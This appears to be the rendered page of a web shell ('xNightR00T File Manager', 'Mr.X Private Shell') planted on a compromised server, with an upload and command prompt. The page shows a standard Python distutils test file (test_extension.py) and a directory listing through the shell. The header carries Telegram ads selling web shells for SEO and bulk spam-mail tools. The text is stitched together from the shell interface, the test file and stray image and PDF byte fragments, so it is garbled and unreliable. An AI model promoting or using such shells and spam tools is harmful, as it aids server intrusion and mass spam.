xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
"""Tests for distutils.extension."""
import unittest
import os
import warnings

from test.support import check_warnings, run_unittest
from distutils.extension import read_setup_file, Extension

class ExtensionTestCase(unittest.TestCase):

    def test_read_setup_file(self):
        # trying to read a Setup file
        # (sample extracted from the PyGame project)
        setup = os.path.join(os.path.dirname(__file__), 'Setup.sample')

        exts = read_setup_file(setup)
        names = [ext.name for ext in exts]
        names.sort()

        # here are the extensions read_setup_file should have created
        # out of the file
        wanted = ['_arraysurfarray', '_camera', '_numericsndarray',
                  '_numericsurfarray', 'base', 'bufferproxy', 'cdrom',
                  'color', 'constants', 'display', 'draw', 'event',
                  'fastevent', 'font', 'gfxdraw', 'image', 'imageext',
                  'joystick', 'key', 'mask', 'mixer', 'mixer_music',
                  'mouse', 'movie', 'overlay', 'pixelarray', 'pypm',
                  'rect', 'rwobject', 'scrap', 'surface', 'surflock',
                  'time', 'transform']

        self.assertEqual(names, wanted)

    def test_extension_init(self):
        # the first argument, which is the name, must be a string
        self.assertRaises(AssertionError, Extension, 1, [])
        ext = Extension('name', [])
        self.assertEqual(ext.name, 'name')

        # the second argument, which is the list of files, must
        # be a list of strings
        self.assertRaises(AssertionError, Extension, 'name', 'file')
        self.assertRaises(AssertionError, Extension, 'name', ['file', 1])
        ext = Extension('name', ['file1', 'file2'])
        self.assertEqual(ext.sources, ['file1', 'file2'])

        # others arguments have defaults
        for attr in ('include_dirs', 'define_macros', 'undef_macros',
                     'library_dirs', 'libraries', 'runtime_library_dirs',
                     'extra_objects', 'extra_compile_args', 'extra_link_args',
                     'export_symbols', 'swig_opts', 'depends'):
            self.assertEqual(getattr(ext, attr), [])

        self.assertEqual(ext.language, None)
        self.assertEqual(ext.optional, None)

        # if there are unknown keyword options, warn about them
        with check_warnings() as w:
            warnings.simplefilter('always')
            ext = Extension('name', ['file1', 'file2'], chic=True)

        self.assertEqual(len(w.warnings), 1)
        self.assertEqual(str(w.warnings[0].message),
                          "Unknown Extension options: 'chic'")

def test_suite():
    return unittest.makeSuite(ExtensionTestCase)

if __name__ == "__main__":
    run_unittest(test_suite())

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
Setup.sample File 2.2 KB 0644
__init__.py File 1.04 KB 0644
support.py File 6.38 KB 0644
test_archive_util.py File 11.46 KB 0644
test_bdist.py File 1.5 KB 0644
test_bdist_dumb.py File 2.83 KB 0644
test_bdist_msi.py File 728 B 0644
test_bdist_rpm.py File 4.94 KB 0644
test_bdist_wininst.py File 1.02 KB 0644
test_build.py File 1.87 KB 0644
test_build_clib.py File 4.86 KB 0644
test_build_ext.py File 17.66 KB 0644
test_build_py.py File 6.14 KB 0644
test_build_scripts.py File 3.51 KB 0644
test_check.py File 4.85 KB 0644
test_clean.py File 1.43 KB 0644
test_cmd.py File 3.75 KB 0644
test_config.py File 3.08 KB 0644
test_config_cmd.py File 2.54 KB 0644
test_core.py File 3.05 KB 0644
test_cygwinccompiler.py File 5.54 KB 0644
test_dep_util.py File 2.77 KB 0644
test_dir_util.py File 4.54 KB 0644
test_dist.py File 15.67 KB 0644
test_extension.py File 2.7 KB 0644
test_file_util.py File 4.02 KB 0644
test_filelist.py File 9.84 KB 0644
test_install.py File 8.23 KB 0644
test_install_data.py File 2.54 KB 0644
test_install_headers.py File 1.23 KB 0644
test_install_lib.py File 3.89 KB 0644
test_install_scripts.py File 2.56 KB 0644
test_log.py File 1.26 KB 0644
test_msvc9compiler.py File 5.9 KB 0644
test_register.py File 9.07 KB 0644
test_sdist.py File 16.09 KB 0644
test_spawn.py File 1.81 KB 0644
test_sysconfig.py File 8.31 KB 0644
test_text_file.py File 3.36 KB 0644
test_unixccompiler.py File 4.76 KB 0644
test_upload.py File 4.11 KB 0644
test_util.py File 10.99 KB 0644
test_version.py File 2.55 KB 0644
test_versionpredicate.py File 280 B 0644
xxmodule.c File 12.06 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1